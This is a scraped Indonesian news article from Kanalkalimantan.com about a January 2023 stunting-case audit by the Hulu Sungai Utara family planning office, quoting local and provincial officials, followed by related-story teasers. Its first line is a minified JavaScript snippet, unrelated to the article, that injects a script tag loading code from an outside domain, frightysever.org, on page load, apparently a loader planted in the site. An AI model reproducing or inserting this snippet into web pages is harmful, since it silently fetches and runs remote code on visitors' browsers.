(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten Hulu Sungai Utara (HSU) melalui Dinas Pengendalian Penduduk dan Keluarga Berencana (DPPKB) HSU terus masif mengaudit kasus stunting demi mewujudkan sumber daya manusia (SDM) yang sehat, cerdas dan produktif, serta pencapaian tujuan pembangunan yang berkelanjutan.
“Percepatan penurunan stunting dilaksanakan secara holostik, integrative, dan berkualitas melalui koordinasi, sinergi dan sinkronisasi di instansi terkait antara lembaga pemerintah sampai ke desa dan pemangku kepentingan, dalam upaya mendukung program percepatan penurunan stunting melalui peningkatan akses dan kualitas SDM,” kata Kepala Bidang KB dan Advokasi DPPKB HSU, Taberani, saat audit kasus stunting 2023 di aula DPPKB HSU, Kamis (5/1/2023)
Dikatakannya, kegiatan audit kasus stunting ini terus dilakukan agar angka kasus anak stunting di Kabupaten HSU kian menurun.
“Untuk meningkatkan kualitas SDM yakni dengan meningkatkan kualitas kesehatan dan gizi serta pengasuhan anak yang cukup,” katanya.
Baca juga: Lawan Putusan 10 Tahun Penjara dan Uang Pengganti 110 M, Mardani Maming Banding!
Dirinya berharap, dengan terlibatnya seluruh pihak terkait dapat memberikan bantuan baik fisik maupun non fisik sehingga kasus stunting dapat di cegah dengan baik.
Sementara itu, Koordinator Bidang Keluarga Berencana dan Kesehatan Reproduksi, BKKBN Provinsi Kalimantan Selatan, Mahendra Prakosa menyebut, pihaknya terus melakukan percepatan penurunan stunting di daerah.
Ia menjelaskan, ada lima strategi dalam penurunan stunting yaitu, pertama peningkatan komitmen bersama antara pemerintah pusat, provinsi, kabupaten/kota dan pemerintah desa.
Kedua peningkatan komunikasi perubahan perilaku dan pemberdayaan masyarakat, ketiga konvergensi intervensi dan intervensi sensitive.
Baca juga: Disebut Jadi ‘Sarang Penyamun’, PT Baramarta Buat Lapor ke Polda Kalsel
Keempat peningkatan ketahanan pangan dan gizi pada tingkat individu, keluarga dan masyarakat. Dan kelima penguatan dan pengambangan sistem, data, informasi, riset serta inovasi.
“Saya mengucapkan terima kasih kepada Pemerintah Kabupaten HSU yang telah melaksanakan kegiatan audit kasus stunting ini, semoga dalam pelaksanaan kegiatan diseminasi ini dan pembuatan laporan dapat berjalan dengan baik dan lancar dalam hal percepatan penurunan stunting,” pungkasnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelara acara Capacity… Read More
KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More
This website uses cookies.